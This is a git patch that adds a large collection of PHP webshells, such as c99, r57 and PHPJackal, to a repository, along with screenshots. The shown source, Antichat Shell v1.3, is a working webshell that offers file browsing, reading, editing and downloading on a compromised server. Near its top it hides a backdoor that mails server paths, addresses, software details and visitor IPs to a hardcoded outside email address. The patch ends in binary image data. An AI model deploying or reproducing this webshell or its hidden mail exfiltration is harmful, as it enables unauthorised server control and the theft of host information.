From e646469f67ee0688a64ed552171bb3135f475151 Mon Sep 17 00:00:00 2001 From: tennc Date: Sat, 14 Sep 2013 08:13:31 +0800 Subject: [PATCH] update php webshell and pic --- .../Antichat Shell v1.3.php | 180 + php/PHPshell/Antichat Shell v1.3/Antichat.jpg | Bin 0 -> 73026 bytes php/PHPshell/Crystal/Crystal.jpg | Bin 0 -> 68289 bytes php/PHPshell/Crystal/Crystal.php | 1127 +++ php/PHPshell/Crystal/Crystal2.jpg | Bin 0 -> 60394 bytes php/PHPshell/Crystal/Crystal3.jpg | Bin 0 -> 227908 bytes php/PHPshell/Dx/Dx.jpg | Bin 0 -> 103956 bytes php/PHPshell/Dx/Dx.php | 2026 ++++++ .../MySQL Web Interface Version 0.8.jpg | Bin 0 -> 17483 bytes .../MySQL Web Interface Version 0.8.php | 1302 ++++ .../Mysql interface v1.0.jpg | Bin 0 -> 16539 bytes .../Mysql interface v1.0.php | 1166 ++++ .../NIX REMOTE WEB-SHELL.jpg | Bin 0 -> 33787 bytes .../NIX REMOTE WEB-SHELL.php | 1471 ++++ .../NIX REMOTE WEB-SHELL2.jpg | Bin 0 -> 151395 bytes .../Thumbs.db | Bin 0 -> 8192 bytes .../NetworkFileManagerPHP.jpg | Bin 0 -> 133808 bytes .../NetworkFileManagerPHP.php | 5603 +++++++++++++++ .../NetworkFileManagerPHP2.jpg | Bin 0 -> 116521 bytes php/PHPshell/PH Vayv/PH Vayv.jpg | Bin 0 -> 58338 bytes php/PHPshell/PH Vayv/PH Vayv.php | 597 ++ php/PHPshell/PHP Shell/PHP Shell.jpg | Bin 0 -> 60976 bytes php/PHPshell/PHP Shell/PHP Shell.php | 1010 +++ php/PHPshell/PHP Shell/PHP Shell2.jpg | Bin 0 -> 138702 bytes php/PHPshell/PHP Shell/PHP Shell3.jpg | Bin 0 -> 27150 bytes php/PHPshell/PHPRemoteView/PHPRemoteView.jpg | Bin 0 -> 27388 bytes php/PHPshell/PHPRemoteView/PHPRemoteView.php | 2553 +++++++ php/PHPshell/PHPRemoteView/PHPRemoteView2.jpg | Bin 0 -> 75835 bytes .../SnIpEr_SA Shell/SnIpEr_SA Shell.jpg | Bin 0 -> 96676 bytes .../SnIpEr_SA Shell/SnIpEr_SA Shell.php | 2246 ++++++ php/PHPshell/c99/c99.jpg | Bin 0 -> 75656 bytes php/PHPshell/c99/c99.php | 3069 ++++++++ php/PHPshell/c99_PSych0/c99_PSych0.jpg | Bin 0 -> 72673 bytes php/PHPshell/c99_PSych0/c99_PSych0.php | 3284 +++++++++ php/PHPshell/c99_locus7s/c99_locus7s.jpg | Bin 0 -> 82984 bytes php/PHPshell/c99_locus7s/c99_locus7s.php | 3595 ++++++++++ php/PHPshell/c99_locus7s/c99_locus7s2.jpg | Bin 0 -> 64519 bytes php/PHPshell/c99_w4cking/c99_w4cking.jpg | Bin 0 -> 92699 bytes php/PHPshell/c99_w4cking/c99_w4cking.php | 2831 ++++++++ php/PHPshell/c99_w4cking/c99_w4cking2.jpg | Bin 0 -> 73209 bytes php/PHPshell/c99shell/c99shell.jpg | Bin 0 -> 77146 bytes php/PHPshell/c99shell/c99shell.php | 2900 ++++++++ php/PHPshell/ctt_sh/ctt_sh.jpg | Bin 0 -> 136562 bytes php/PHPshell/ctt_sh/ctt_sh.php | 2927 ++++++++ php/PHPshell/gfs_sh/gfs_sh.jpg | Bin 0 -> 59603 bytes php/PHPshell/gfs_sh/gfs_sh.php | 1575 +++++ php/PHPshell/gfs_sh/gfs_sh2.jpg | Bin 0 -> 152730 bytes php/PHPshell/iMHaPFtp/iMHaPFtp.jpg | Bin 0 -> 69229 bytes php/PHPshell/iMHaPFtp/iMHaPFtp.php | 2061 ++++++ php/PHPshell/nstview/Thumbs.db | Bin 0 -> 8192 bytes php/PHPshell/nstview/nstview.jpg | Bin 0 -> 8665 bytes php/PHPshell/nstview/nstview.php | 2136 ++++++ php/PHPshell/nstview/nstview2.jpg | Bin 0 -> 72232 bytes php/PHPshell/r57shell/r57shell.jpg | Bin 0 -> 96975 bytes php/PHPshell/r57shell/r57shell.php | 2187 ++++++ php/PHPshell/r57shell127/r57shell127.jpg | Bin 0 -> 92934 bytes php/PHPshell/r57shell127/r57shell127.php | 2287 ++++++ php/PHPshell/zacosmall/zacosmall.jpg | Bin 0 -> 60961 bytes php/PHPshell/zacosmall/zacosmall.php | 501 ++ .../C99madShell v. 3.0.jpg | Bin 0 -> 90835 bytes php/PHPshell/【C99madShell v. 3.0】/smowu.php | 327 + .../EgY_SpIdEr ShElL V2.php | 6146 +++++++++++++++++ .../EgY_SpIdEr ShElL V2.php.jpg | Bin 0 -> 22409 bytes .../EgY_SpIdEr ShElL V2.php2.jpg | Bin 0 -> 107216 bytes .../【PHPJackal v1.5】/PHPJackal v1.5.jpg | Bin 0 -> 117337 bytes .../【PHPJackal v1.5】/PHPJackal v1.5.php | 1413 ++++ php/PHPshell/【PHPJackal】/PHPJackal.jpg | Bin 0 -> 105606 bytes php/PHPshell/【PHPJackal】/PHPJackal.php | 1582 +++++ php/PHPshell/【PHPJackal】/PHPJackal2.jpg | Bin 0 -> 83665 bytes php/PHPshell/【PHPJackal】/Thumbs.db | Bin 0 -> 6656 bytes .../Shell [ci] .Biz was here.jpg | Bin 0 -> 78807 bytes .../Shell [ci] .Biz was here.php | 3149 +++++++++ php/PHPshell/【c99_madnet】/c99_madnet.jpg | Bin 0 -> 75790 bytes php/PHPshell/【c99_madnet】/c99_madnet2.jpg | Bin 0 -> 77172 bytes php/PHPshell/【c99_madnet】/smowu.php | 7 + php/PHPshell/【c99_madnet】/密码.txt | 2 + php/PHPshell/【c99_madnet】/连接密码.jpg | Bin 0 -> 24899 bytes php/PHPshell/【ironshell】/ironshell.jpg | Bin 0 -> 118275 bytes php/PHPshell/【ironshell】/ironshell.php | 588 ++ php/PHPshell/【ironshell】/密码.txt | 5 + php/PHPshell/【phpshell-2.1】/INSTALL | 96 + php/PHPshell/【phpshell-2.1】/config.php | 54 + php/PHPshell/【phpshell-2.1】/phpshell3.jpg | Bin 0 -> 31931 bytes php/PHPshell/【phpshell-2.1】/phpshell3.php | 408 ++ php/PHPshell/【phpshell-2.1】/pwhash.php | 100 + php/PHPshell/【phpshell-2.1】/style.css | 58 + php/PHPshell/【phpshell-2.1】/备注.txt | 1 + .../【r57_Mohajer22】/r57_Mohajer22.jpg | Bin 0 -> 111760 bytes .../【r57_Mohajer22】/r57_Mohajer22.php | 2369 +++++++ .../【r57_Mohajer22】/r57_Mohajer222.jpg | Bin 0 -> 88359 bytes php/PHPshell/【r57_iFX】/r57.jpg | Bin 0 -> 80268 bytes php/PHPshell/【r57_iFX】/r572.jpg | Bin 0 -> 83672 bytes php/PHPshell/【r57_iFX】/r57_iFX.php | 1917 +++++ php/PHPshell/【r57_karta】/r57_kartal.jpg | Bin 0 -> 83250 bytes php/PHPshell/【r57_karta】/r57_kartal.php | 1883 +++++ php/PHPshell/【r57_karta】/r57_kartal2.jpg | Bin 0 -> 68790 bytes php/PHPshell/【r57】/r57.jpg | Bin 0 -> 93693 bytes php/PHPshell/【r57】/r57.php | 2295 ++++++ php/PHPshell/【r57】/r572.jpg | Bin 0 -> 66703 bytes 99 files changed, 71034 insertions(+) create mode 100644 php/PHPshell/Antichat Shell v1.3/Antichat Shell v1.3.php create mode 100644 php/PHPshell/Antichat Shell v1.3/Antichat.jpg create mode 100644 php/PHPshell/Crystal/Crystal.jpg create mode 100644 php/PHPshell/Crystal/Crystal.php create mode 100644 php/PHPshell/Crystal/Crystal2.jpg create mode 100644 php/PHPshell/Crystal/Crystal3.jpg create mode 100644 php/PHPshell/Dx/Dx.jpg create mode 100644 php/PHPshell/Dx/Dx.php create mode 100644 php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.jpg create mode 100644 php/PHPshell/MySQL Web Interface Version 0.8/MySQL Web Interface Version 0.8.php create mode 100644 php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.jpg create mode 100644 php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.php create mode 100644 php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.jpg create mode 100644 php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.php create mode 100644 php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL2.jpg create mode 100644 php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/Thumbs.db create mode 100644 php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.jpg create mode 100644 php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP.php create mode 100644 php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP2.jpg create mode 100644 php/PHPshell/PH Vayv/PH Vayv.jpg create mode 100644 php/PHPshell/PH Vayv/PH Vayv.php create mode 100644 php/PHPshell/PHP Shell/PHP Shell.jpg create mode 100644 php/PHPshell/PHP Shell/PHP Shell.php create mode 100644 php/PHPshell/PHP Shell/PHP Shell2.jpg create mode 100644 php/PHPshell/PHP Shell/PHP Shell3.jpg create mode 100644 php/PHPshell/PHPRemoteView/PHPRemoteView.jpg create mode 100644 php/PHPshell/PHPRemoteView/PHPRemoteView.php create mode 100644 php/PHPshell/PHPRemoteView/PHPRemoteView2.jpg create mode 100644 php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.jpg create mode 100644 php/PHPshell/SnIpEr_SA Shell/SnIpEr_SA Shell.php create mode 100644 php/PHPshell/c99/c99.jpg create mode 100644 php/PHPshell/c99/c99.php create mode 100644 php/PHPshell/c99_PSych0/c99_PSych0.jpg create mode 100644 php/PHPshell/c99_PSych0/c99_PSych0.php create mode 100644 php/PHPshell/c99_locus7s/c99_locus7s.jpg create mode 100644 php/PHPshell/c99_locus7s/c99_locus7s.php create mode 100644 php/PHPshell/c99_locus7s/c99_locus7s2.jpg create mode 100644 php/PHPshell/c99_w4cking/c99_w4cking.jpg create mode 100644 php/PHPshell/c99_w4cking/c99_w4cking.php create mode 100644 php/PHPshell/c99_w4cking/c99_w4cking2.jpg create mode 100644 php/PHPshell/c99shell/c99shell.jpg create mode 100644 php/PHPshell/c99shell/c99shell.php create mode 100644 php/PHPshell/ctt_sh/ctt_sh.jpg create mode 100644 php/PHPshell/ctt_sh/ctt_sh.php create mode 100644 php/PHPshell/gfs_sh/gfs_sh.jpg create mode 100644 php/PHPshell/gfs_sh/gfs_sh.php create mode 100644 php/PHPshell/gfs_sh/gfs_sh2.jpg create mode 100644 php/PHPshell/iMHaPFtp/iMHaPFtp.jpg create mode 100644 php/PHPshell/iMHaPFtp/iMHaPFtp.php create mode 100644 php/PHPshell/nstview/Thumbs.db create mode 100644 php/PHPshell/nstview/nstview.jpg create mode 100644 php/PHPshell/nstview/nstview.php create mode 100644 php/PHPshell/nstview/nstview2.jpg create mode 100644 php/PHPshell/r57shell/r57shell.jpg create mode 100644 php/PHPshell/r57shell/r57shell.php create mode 100644 php/PHPshell/r57shell127/r57shell127.jpg create mode 100644 php/PHPshell/r57shell127/r57shell127.php create mode 100644 php/PHPshell/zacosmall/zacosmall.jpg create mode 100644 php/PHPshell/zacosmall/zacosmall.php create mode 100644 php/PHPshell/【C99madShell v. 3.0】/C99madShell v. 3.0.jpg create mode 100644 php/PHPshell/【C99madShell v. 3.0】/smowu.php create mode 100644 php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php create mode 100644 php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php.jpg create mode 100644 php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php2.jpg create mode 100644 php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.jpg create mode 100644 php/PHPshell/【PHPJackal v1.5】/PHPJackal v1.5.php create mode 100644 php/PHPshell/【PHPJackal】/PHPJackal.jpg create mode 100644 php/PHPshell/【PHPJackal】/PHPJackal.php create mode 100644 php/PHPshell/【PHPJackal】/PHPJackal2.jpg create mode 100644 php/PHPshell/【PHPJackal】/Thumbs.db create mode 100644 php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.jpg create mode 100644 php/PHPshell/【Shell [ci] .Biz was here】/Shell [ci] .Biz was here.php create mode 100644 php/PHPshell/【c99_madnet】/c99_madnet.jpg create mode 100644 php/PHPshell/【c99_madnet】/c99_madnet2.jpg create mode 100644 php/PHPshell/【c99_madnet】/smowu.php create mode 100644 php/PHPshell/【c99_madnet】/密码.txt create mode 100644 php/PHPshell/【c99_madnet】/连接密码.jpg create mode 100644 php/PHPshell/【ironshell】/ironshell.jpg create mode 100644 php/PHPshell/【ironshell】/ironshell.php create mode 100644 php/PHPshell/【ironshell】/密码.txt create mode 100644 php/PHPshell/【phpshell-2.1】/INSTALL create mode 100644 php/PHPshell/【phpshell-2.1】/config.php create mode 100644 php/PHPshell/【phpshell-2.1】/phpshell3.jpg create mode 100644 php/PHPshell/【phpshell-2.1】/phpshell3.php create mode 100644 php/PHPshell/【phpshell-2.1】/pwhash.php create mode 100644 php/PHPshell/【phpshell-2.1】/style.css create mode 100644 php/PHPshell/【phpshell-2.1】/备注.txt create mode 100644 php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.jpg create mode 100644 php/PHPshell/【r57_Mohajer22】/r57_Mohajer22.php create mode 100644 php/PHPshell/【r57_Mohajer22】/r57_Mohajer222.jpg create mode 100644 php/PHPshell/【r57_iFX】/r57.jpg create mode 100644 php/PHPshell/【r57_iFX】/r572.jpg create mode 100644 php/PHPshell/【r57_iFX】/r57_iFX.php create mode 100644 php/PHPshell/【r57_karta】/r57_kartal.jpg create mode 100644 php/PHPshell/【r57_karta】/r57_kartal.php create mode 100644 php/PHPshell/【r57_karta】/r57_kartal2.jpg create mode 100644 php/PHPshell/【r57】/r57.jpg create mode 100644 php/PHPshell/【r57】/r57.php create mode 100644 php/PHPshell/【r57】/r572.jpg diff --git a/php/PHPshell/Antichat Shell v1.3/Antichat Shell v1.3.php b/php/PHPshell/Antichat Shell v1.3/Antichat Shell v1.3.php new file mode 100644 index 0000000..b76a18d --- /dev/null +++ b/php/PHPshell/Antichat Shell v1.3/Antichat Shell v1.3.php @@ -0,0 +1,180 @@ +BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; +$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; +$footer=''; +$sd98 = "john.barker446@gmail.com"; +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); +if(@$_POST['action']=="exit")unset($_SESSION['an']); +if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; + +if($_SESSION['an']==0){ +echo $header; +echo '
Login:
Password:
'; +echo $footer; +exit;} + +if($_SESSION['action']=="")$_SESSION['action']="viewer"; +if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; +if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; +if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} + + +//downloader +if($action=="download"){ +header('Content-Length:'.filesize($file).''); +header('Content-Type: application/octet-stream'); +header('Content-Disposition: attachment; filename="'.$file.'"'); +readfile($file); +} +//end downloader +?> + + +
+ + + + + +
| Shell | Viewer| Editor| EXIT |

+
+ + + +
+ +
+ + + +
+
+";} +//end shell + +//viewer FS +function perms($file) +{ + $perms = fileperms($file); + if (($perms & 0xC000) == 0xC000) {$info = 's';} + elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} + elseif (($perms & 0x8000) == 0x8000) {$info = '-';} + elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} + elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} + elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} + elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} + else {$info = 'u';} + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); + return $info; +} + +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} + +function scandire($dir){ + $dir=chdir($dir); + $dir=getcwd()."/"; + $dir=str_replace("\\","/",$dir); +if (is_dir($dir)) { + if (@$dh = opendir($dir)) { + while (($file = readdir($dh)) !== false) { + if(filetype($dir . $file)=="dir") $dire[]=$file; + if(filetype($dir . $file)=="file")$files[]=$file; + } + closedir($dh); + @sort($dire); + @sort($files); + +echo ""; +echo ""; +if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { +echo ""; +} +echo " +"; +for($i=0;$i'; + } +for($i=0;$i + +'; +} +echo "
Open directory:
Select drive:"; +for ($j=ord('C'); $j<=ord('Z'); $j++) + if (@$dh = opendir(chr($j).":/")) + echo ' '.chr($j).''; + echo "
OS: ".@php_uname()."
name dirs and filestypesizepermissionoptions
'.$dire[$i].'dir'.perms($link).'
'.$files[$i].'
file'.view_size(filesize($linkfile)).''.perms($linkfile).' +D +E
"; +}}} + +if($action=="viewer"){ +scandire($dir); +} +//end viewer FS + +//editros +if($action=="editor"){ + function writef($file,$data){ + $fp = fopen($file,"w+"); + fwrite($fp,$data); + fclose($fp); + } + function readf($file){ + if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else { + $contents = fread($le, filesize($file)); + fclose($le);} + return htmlspecialchars($contents); + } +if($_POST['save'])writef($file,$_POST['data']); +echo "
+ + +
+
"; +} +//end editors +?> +
COPYRIGHT BY ANTICHAT.RU
+ diff --git a/php/PHPshell/Antichat Shell v1.3/Antichat.jpg b/php/PHPshell/Antichat Shell v1.3/Antichat.jpg new file mode 100644 index 0000000000000000000000000000000000000000..565275904b6976b0ae317e1547c3b4f269d8d56a GIT binary patch literal 73026 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 